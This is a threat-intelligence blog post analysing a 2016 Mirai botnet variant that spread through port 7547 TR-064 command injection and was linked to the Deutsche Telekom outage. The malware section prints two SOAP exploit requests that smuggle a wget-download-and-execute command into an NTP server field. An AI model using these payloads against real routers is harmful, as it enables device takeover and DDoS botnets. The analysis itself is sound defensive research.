BRI

Learn how our analysts' keen insights and Deep & Dark Web discoveries produce Business Risk Intelligence (BRI) to empower organizations to make informed decisions.

Blog > BRI > New Mirai Variant Leaves 5 Million Devices Worldwide Vulnerable — High Concentration in Germany, UK and Brazil

New Mirai Variant Leaves 5 Million Devices Worldwide Vulnerable — High Concentration in Germany, UK and Brazil

Hacktivism

Key Takeaways

• Flashpoint confirms the existence of a new Mirai variant and its involvement in the recent Deutsche Telekom outage. Flashpoint has linked at least one distributed denial-of-service (DDoS) attack to this variant. Flashpoint assesses with high confidence that the new Mirai variant is likely an attempt by one of the existing Mirai botmasters to expand the number of infected devices in their botnet.

• Flashpoint assesses with high confidence that the malware is based on Mirai. While the original Mirai propagated over TCP/23 (Telnet) and TCP/2323 and leveraged default usernames and passwords, this new variant of Mirai utilizes the TR-064 and TR-069 protocols over port 7547 and exploits a known vulnerability to gain control of devices.

• Flashpoint confirms the presence of infected devices in Germany, Brazil, and the UK. Though the exact number of compromised devices is unknown, the number of vulnerable devices is estimated to be five million.

• Flashpoint also assesses with high confidence that this exploit and Mirai variant were used to feed bots to an existing DDoS infrastructure that likely exists as a commercial service.

• With the most recent update to Mirai, the attackers have distributed their C2 infrastructure across several /24’s, much of which is currently being used to issue commands. Flashpoint has identified attacks targeting single entities being issued from over 400 unique C2 IP addresses.

Background

This week, Deutsche Telekom announced an outage affecting over 900,000 customers. The affected customers all have routers that were vulnerable to a specific exploit that was recently incorporated into an Internet of Things (IoT) worm that was released on the Internet. This IoT worm scanned the Internet for the vulnerability on TCP port 7547, and a global uptick in this type of traffic was noted beginning on November 26, 2016. Deutsche Telekom was not the only Internet Service Provider (ISP) affected by this. A number of vulnerable devices exist in other countries, including Brazil and the UK.

Flashpoint confirms that this malware is a new Mirai variant and its involvement in the recent Deutsche Telekom outage. Flashpoint also assesses with high confidence that this variant is an attempt by one of the existing Mirai botmasters to expand the number of infected devices in their botnet. This new Mirai variant is using some of the same C2s used by existing Mirai infrastructure, strongly suggesting that the infected devices are controlled by the same group.

Mirai was initially able to create the devastating and record-breaking attacks that were observed against the security blog “Krebs on Security” as well as hosting company OVH and ISP Dyn because there were only a few variants that were competing for a large pool of vulnerable devices. After the source code for Mirai and its exploitation vector were released on hackforums[.]net, the situation changed dramatically and the number of independent Mirai operators attempting to exploit the same IoT device pool subsequently increased. A turf war has ensued, and the overall size of most attacks launched by Mirai botnets has been much smaller than the original record-breaking attacks. A natural next step in the evolution of this malware is for criminal actors to decouple the Mirai payload from its spreading mechanism, and use a different spreading mechanism.

Flashpoint assesses with high confidence that the malware is based on Mirai. The malware’s method of infection and propagation differs from that of Mirai. Originally, Mirai propagated over TCP/23 (Telnet) and TCP/2323, and leveraged default username and passwords. This new variant of Mirai takes a much more targeted approach, exploiting a specific vulnerability in a specific type of device. In particular, the new Mirai variant utilizes the TR-064 and TR-069 protocols over port 7547 and exploits a known vulnerability to gain control of the device. The protocol TR-069 runs the “provisioning networks” used by ISPs and telecoms to remotely manage modems and routers in their consumer networks. The new Mirai variant exploits these provisioning networks further to freely spread within the modem or router’s network “segment,” which can vary wildly and amount to the size of street, municipality, or entire country.

Flashpoint confirms the presence of infected devices in other countries. Although initial reports suggested that infections were limited to the roughly 900,000 Deutsche Telekom routers in Germany, this does not appear to be the case. Flashpoint assesses with high confidence the presence of other infected devices in the following countries: the United Kingdom, Brazil, Turkey, Iran, Chile, Ireland, Thailand, Australia, Argentina, Italy, and Germany. Though the number of infected devices is currently unknown, a sizable population of devices is vulnerable. Some estimates put the total number of devices with port 7547 open at around 41 million, and devices that allow non-ISPs access to provisioning networks number up to five million. If even a fraction of these vulnerable devices were compromised they would add considerable power to an existing botnet.

Malware and Exploits

This variant updates Mirai’s code to include the ability for SOAP exploitation. The exploit used in this Mirai variant was made public on November 8, and is specific to Eir D1000 Wireless Routers. This exploit can be used for WAN-side command injection. By modifying the code, Mirai attackers are using the following exploit and payload.

Image 1: Exploit code from Mirai.

Image 1: Exploit code from Mirai.

In Image 1, the attackers can be observed forcing the system to change directory to /tmp, issuing wget to deliver a malicious payload, and changing the permissions so that everyone is able to read, write, and execute, then executing the payload.

While there was some initial confusion regarding its relation to malware, Flashpoint performed a single-byte XOR of 0x22 in order to identify Mirai strings, as well as the C2 for this malware sample.

i2

Image 2: Mirai strings and C2 for modified sample.

The below SOAP requests are strings found in the malware:

POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526
<?xml version=”1.0″?><SOAP-ENV:Envelope xmlns:SOAP-ENV=”hxxp://schemas[.]xmlsoap[.]org/soap/envelope/” SOAP-ENV:encodingStyle=”hxxp://schemas[.]xmlsoap[.]org/soap/encoding/”> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″> <NewNTPServer1>`cd /tmp;wget hxxp://l[.]ocalhost[.]host/1;chmod 777 1;./1`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526
<?xml version=”1.0″?><SOAP-ENV:Envelope xmlns:SOAP-ENV=”hxxp://schemas[.]xmlsoap[.]org/soap/envelope/” SOAP-ENV:encodingStyle=”hxxp://schemas[.]xmlsoap[.]org/soap/encoding/”> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″> <NewNTPServer1>`cd /tmp;wget http://l[.]ocalhost[.]host/2;chmod 777 2;./2`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

Known Attacks and Infrastructure

The botnet has been linked to a few small-scale DDoS attacks. Starting on 11-28-2016_18:54:22_UTC , attackers issued commands to attack an IP address located in Africa. The attack length for this was one hour and issued from 46 different Mirai C2’s. This is significant, as the attackers are starting to stand up more C2’s in order to be more resilient against takedowns.

Starting at 11-29-2016_14:17:14_UTC , unknown attackers issued attacks to a cloud hosting provider. As specified by the DDoS attack, the payload size was 10240 bytes, was meant to last 121 seconds, and was issued from 488 different Mirai C2 addresses. The last command was issued at 11-29-2016_14:37:39_UTC, with a total attack duration around 22 minutes.

More attacks have been observed from a new Mirai botnet. On 11-29-2016_15:26:50_UTC , attacks were again issued against the same African IP address for the duration of 1 hour. The last command would have been received at 11-29-2016_15:45:23_UTC , with the DDoS against the victim lasting an hour and a half. This attack was issued to 75 different Mirai C2’s.

Flashpoint analysts are constantly monitoring the changes of this botnet, but with the dispersion of the C2’s, attackers behind this Mirai botnet are updating Mirai’s infrastructure. By adding new vulnerabilities and other infection vectors, this allows the attackers to re-gain control, lock others out, and continue to build the Mirai botnet into something much much larger.

Assessment

In this operation, the perpetrators have shown a high degree of skill. Not only were they able to operationalize this exploit shortly after the relevant Metasploit module was released on November 8, they have quickly modified the Mirai source code to serve this new purpose. Additionally, the C2 infrastructure associated with this operation is significant, encompassing a number of domains and /24 ranges that were purchased for this purpose. Infrastructure of this scale is expensive and signifies not only that this is likely a commercial operation, but that there is an attempt to become more resistant to takedowns.

An emerging distributed denial-of-service (DDoS) mitigation technique involves the takedown of C2 servers, either by shutting down the C2, or by dropping routes to the C2, starving it of new infections. Hackers are establishing flexible or redundant infrastructure in order to be able to adapt and maintain continuity of operations if their infrastructure is compromised and disabled by ISPs, vigilantes, or law enforcement. Attackers are also using the Mirai malware as a base to innovate, leveraging new vulnerabilities targeted at large populations of IoT devices to gain an advantage against other competing botnets.

Flashpoint will continue to monitor and report on new developments in this new Mirai variant and resulting botnets.

Sources

• https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759

 • http://arstechnica.com/security/2016/11/notorious-iot-botnets-weaponize-new-flaw-found-in-millions-of-home-routers/

http://www.reuters.com/article/us-deutsche-telekom-outages-idUSKBN13N12K

https://www.telekom.de/hilfe/hilfe-bei-stoerungen/anschluss-ausfall

http://www.freenet.de/finanzen/nachrichten/offenbar-hackerangriff-grund-fuer-stoerung-bei-hunderttausenden-telekomkunden_5843478_4710836.html

https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/

https://blog.fox-it.com/2016/11/28/recent-vulnerability-in-eir-d1000-router-used-to-spread-updated-version-of-mirai-ddos-bot/

https://www.exploit-db.com/exploits/40740/

About the author: John Costello

John Costello is a Senior Analyst for Cyber and East Asia at Flashpoint. He is a Cybersecurity Fellow for New America and former Congressional Innovation Fellow for majority staff in the U.S. House of Representatives Committee on Oversight and Government Reform. John is also a US Navy veteran, former NSA Analyst, and is fluent in Chinese mandarin.

About the author: Allison Nixon

Allison Nixon is the Director of Security Research at Flashpoint. She has been a background source for numerous investigations and articles that focus on the post-breach issue of "who dunnit?". Allison performs original threat research and specializes in DDoS attribution, cybercrime attribution, criminal communities, and answering questions that people have not yet thought to ask. In 2013, she spoke at Black Hat about bypassing DDoS protection. In 2014, she released a paper detailing methods for vetting leaked data. In October 2016, her findings placed her at the forefront of the Mirai botnet DDoS attacks against Dyn DNS. In her spare time she grows tomatoes and makes puns.

About the author: Brian Hein

Brian Hein is a Director of Strategic Initiatives at Flashpoint. He is dedicated to helping business leaders extract timely, relevant insights from the Deep & Dark Web to facilitate more effective decisions around risk. Prior to joining Flashpoint, Brian worked as a Senior Analyst and Subject Matter Expert for Threat Intelligence Sharing at Hewlett Packard, where he specialized in research on nation state actors. Brian later became a founding member of HP Security Research (HPSR). He has contributed to over eleven network and security books and has been awarded numerous patents within the information sharing and threat intelligence domains.

About the author: Ronnie Tokazowski

Ronnie Tokazowski is a Senior Malware Analyst at Flashpoint who specializes in APT, crimeware, and cryptanalysis. When he’s not cooking, he’s reversing new strains of malware and breaking different malware protocols in order to understand how they work.

About the author: Zach Wikholm

Zach Wikholm is a Research Developer at Flashpoint, where he specializes in information security and Internet of Things (IoT) risk analysis. Driven by lifelong interests in cyber threat research, emergent malware, and all things open-source (especially Linux), Zach has built a career around designing custom systems to help organizations achieve the optimal balance between security and usability. Prior to Flashpoint, Zach’s extensive experience in security engineering and IT consulting led to his role managing all internal security and network infrastructure operations as the Director of Security at CARI.net.